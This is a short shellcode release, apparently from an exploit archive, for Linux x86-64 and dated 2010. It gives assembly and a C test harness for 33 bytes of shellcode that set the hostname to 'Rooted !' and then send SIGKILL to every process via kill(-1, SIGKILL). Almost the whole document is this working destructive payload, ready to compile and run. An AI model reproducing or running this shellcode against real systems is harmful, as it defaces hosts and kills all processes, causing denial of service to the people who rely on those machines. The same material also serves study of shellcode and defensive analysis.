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linux/x86-64 sethostname() & killall shellcode 33 bytes
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# Linux/x86_64 sethostname() & killall 33 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
/*
; sethostname("Rooted !");
; kill(-1, SIGKILL);
section .text
global _start
_start:
;-- setHostName("Rooted !"); 22 bytes --;
mov al, 0xaa
mov r8, 'Rooted !'
push r8
mov rdi, rsp
mov sil, 0x8
syscall
;-- kill(-1, SIGKILL); 11 bytes --;
push byte 0x3e
pop rax
push byte 0xff
pop rdi
push byte 0x9
pop rsi
syscall
*/
int main(void)
{
char shellcode[] =
"\xb0\xaa\x49\xb8\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x50\x48\x89"
"\xe7\x40\xb6\x08\x0f\x05\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05";
(*(void (*)()) shellcode)();
return 0;
}
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